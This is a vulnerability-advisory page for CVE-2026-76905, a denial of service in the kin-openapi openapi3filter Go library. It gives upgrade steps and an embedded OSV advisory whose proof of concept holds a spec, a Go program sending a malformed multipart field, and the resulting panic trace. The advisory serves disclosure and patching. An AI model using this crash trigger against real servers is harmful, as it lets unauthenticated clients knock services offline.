CVE-2026-76905: kin-openapi openai3filter Denial of Service Vulnerability
HIGHCVE-2026-76905 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-476: NULL Pointer Dereference) affecting kin-openapi openai3filter libraries in the Go ecosystem. The issue involves nil-pointer panic in converterrors on malformed multipart/form-data body enables unauthenticated dos. Remediation is available by upgrading affected packages to version 0.141.0.
CVE-2026-76905 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-76905
To remediate this vulnerability, upgrade all affected kin-openapi openai3filter dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/getkin/kin-openapi to 0.141.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/getkin/kin-openapi
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-76905, inspect your project dependencies for kin-openapi openai3filter:
inspect dependencies for github.com/getkin/kin-openapi
Analyze the terminal output to locate any version of kin-openapi openai3filter in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.141.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In kin-openapi openai3filter, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-76905 Affected kin-openapi openai3filter Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/getkin/kin-openapi
|
Go |
≥ 0.10.0
< 0.141.0
|
0.141.0
|
References
Frequently Asked Questions
What is CVE-2026-76905?
Which kin-openapi openai3filter versions are affected?
What version fixes CVE-2026-76905?
Is github.com/getkin/kin-openapi affected?
What is the CVSS score of CVE-2026-76905?
What CWE is associated with CVE-2026-76905?
How can I check Go dependencies for CVE-2026-76905?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mmfr-pmjx-hw9w",
"modified" : "2026-08-21T20:55:46Z",
"published" : "2026-08-21T20:55:46Z",
"aliases" : [ "CVE-2026-76905" ],
"summary" : "kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS",
"details" : "### Summary\n\nA nil-pointer dereference in `openapi3filter.ConvertErrors` lets any unauthenticated client crash a server with a single HTTP request. When an application validates a `multipart/form-data` request body and renders the resulting validation error through the library-provided `ValidationErrorEncoder` / `ConvertErrors` helpers, a malformed scalar form field (e.g. a non-numeric value for an `integer` property) produces an error shape that `convertParseError` dereferences without a nil check. The handler goroutine panics, causing a denial of service. `application/json` request bodies are **not** affected — the bug is specific to `multipart/form-data`.\n\n### Details\n\nThe panic is in `convertParseError`, at [`openapi3filter/validation_error_encoder.go:119-120`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L119) (still present on `master` at the time of writing):\n\n```go\n} else if innerErr.RootCause() != nil {\n if rootErr, ok := innerErr.Cause.(*ParseError); ok &&\n rootErr.Kind == KindInvalidFormat && e.Parameter.In == \"query\" { // ❌ e.Parameter may be nil → panic\n```\n\nThe comparison `e.Parameter.In == \"query\"` assumes `e.Parameter` is non-nil. It is reached whenever **both** of the following hold:\n\n1. **`e.Parameter == nil`.** A `*RequestError` carries *either* `Parameter` (parameter errors) *or* `RequestBody` (body errors), never both. `ValidateRequestBody` builds body errors with only `RequestBody` set, leaving `Parameter` nil — see [`validate_request.go:326-332`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validate_request.go#L326).\n2. **`innerErr.Cause` is itself a `*ParseError`** (a `ParseError` nested inside a `ParseError`), so the type assertion on line 119 succeeds and execution reaches the `e.Parameter.In` dereference on line 120.\n\nThe only default code path that satisfies *both* conditions is the **multipart** body decoder, which wraps a failed part's `*ParseError` inside another `*ParseError` at [`req_resp_decoder.go:1549`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1549) and [`:1558`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1558):\n\n```go\nif v, ok := err.(*ParseError); ok {\n return nil, &ParseError{path: []any{name}, Cause: v} // v is a *ParseError → nested\n}\n```\n\nWhy other paths do **not** reach the dereference:\n\n| Body content type | Failure mode | `RequestError.Err` shape | `.Cause` is `*ParseError`? | `e.Parameter` | Panics? |\n|---|---|---|---|---|---|\n| **`multipart/form-data`** | scalar part fails primitive parse (`age=notanumber`) | `*ParseError` wrapping a `*ParseError` | **yes** | `nil` | **YES** |\n| `application/json` | malformed JSON syntax | `*ParseError` whose `.Cause` is an `encoding/json` error | no (assertion fails → safe fallback branch) | `nil` | no |\n| `application/json` | wrong type / schema violation | `*openapi3.SchemaError` (routed to `convertSchemaError`, never reaches `convertParseError`) | n/a | `nil` | no |\n| styled `query` / `path` params | invalid format | `*ParseError` wrapping a `*ParseError` | yes | **set (non-nil)** | no (guard/assignment succeeds) |\n\nNote that the sibling `\"path\"` branch two lines above ([line 108](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L108)) already guards correctly with `e.Parameter != nil`; the `\"query\"` branch simply omits the same guard.\n\n**Recommended fix.** Add the missing nil guard to the condition:\n\n```diff\n \t\tif rootErr, ok := innerErr.Cause.(*ParseError); ok &&\n-\t\t\trootErr.Kind == KindInvalidFormat && e.Parameter.In == \"query\" {\n+\t\t\trootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == \"query\" {\n```\n\nWhen `e.Parameter == nil` the inner `if` is skipped and control falls through to the existing `return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason}` at [line 127-130](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L127) — a correct `400 Bad Request`. I verified that applying only this one-line guard stops the panic and returns `*ValidationError{Status: 400}`.\n\nMinor follow-up worth including in the same change: for the multipart nested `*ParseError`, the *outer* `ParseError.Reason` is empty, so the fallback `Title: innerErr.Reason` yields a `400` with an **empty `Title`**. The descriptive text lives in `innerErr.Error()` (e.g. `\"path age: value notanumber: an invalid integer: invalid syntax\"`). Prefer a non-empty fallback:\n\n```go\ntitle := innerErr.Reason\nif title == \"\" {\n title = innerErr.Error()\n}\nreturn &ValidationError{Status: http.StatusBadRequest, Title: title}\n```\n\n### PoC\n\nVerified against revision `98d956447b64eaa10d3570a80b3be1a2849945f1` (also reproducible on current `master`), Go 1.25.0.\n\n**1. Spec** — one operation accepting a `multipart/form-data` body with a non-string scalar (`integer`) property:\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /upload:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n properties:\n age: {type: integer}\n responses:\n '200': {description: ok}\n```\n\n**2. Program** — validate a request whose `age` part is non-numeric, then convert the error the way a typical error-rendering middleware does:\n\n```go\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /upload:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n properties:\n age: {type: integer}\n responses:\n '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// multipart body: a non-numeric value for the integer property \"age\"\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(&buf)\n\t_ = w.WriteField(\"age\", \"notanumber\")\n\tw.Close()\n\n\tr, _ := http.NewRequest(http.MethodPost, \"/upload\", &buf)\n\tr.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pp, _ := router.FindRoute(r)\n\n\treqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\tfmt.Printf(\"ValidateRequest returned: %T\\n\", reqErr) // *openapi3filter.RequestError\n\n\t// What an application's error-rendering middleware calls:\n\t_ = openapi3filter.ConvertErrors(reqErr) // panics\n\tfmt.Println(\"no panic (unexpected)\")\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nValidateRequest returned: *openapi3filter.RequestError\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3filter.convertParseError(...)\n\t.../openapi3filter/validation_error_encoder.go:120 +0x17c\ngithub.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)\n\t.../openapi3filter/validation_error_encoder.go:42 +0xec\nmain.main()\n\t...\nexit status 2\n```\n\nThe panic is at exactly `validation_error_encoder.go:120` — the unguarded `e.Parameter.In` dereference.\n\n**Control (confirms JSON is not a vector):** repeating the setup with an `application/json` body and either a malformed body (`{\"age\": `) or a wrong-type body (`{\"age\": \"notanumber\"}`) returns from `ConvertErrors` normally, with no panic. Only the `multipart/form-data` path crashes.\n\nIn a real HTTP server, `ConvertErrors` / `ValidationErrorEncoder.Encode` runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a `recover()` in the middleware chain, is trivially repeatable.\n\n### Impact\n\n- **Type:** Nil-pointer dereference → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` that (1) exposes an endpoint accepting a `multipart/form-data` request body with at least one non-string scalar property (`integer` / `number` / `boolean`), **and** (2) renders validation errors through the library's own `ValidationErrorEncoder` or `ConvertErrors` helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration.\n- **Attack:** a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.\n- **Consequence:** the handling goroutine panics. Absent a `recover()` boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.\n- **Not affected:** applications that only accept `application/json` bodies (verified above), applications that do not use `ConvertErrors` / `ValidationErrorEncoder` to format errors, or applications that wrap handlers in a `recover()` (which converts the crash into a handled 500 but still prevents normal error rendering).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/getkin/kin-openapi"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.10.0"
}, {
"fixed" : "0.141.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w"
}, {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getkin/kin-openapi"
}, {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/releases/tag/v0.141.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-476" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-21T20:55:46Z",
"nvd_published_at" : null
}
}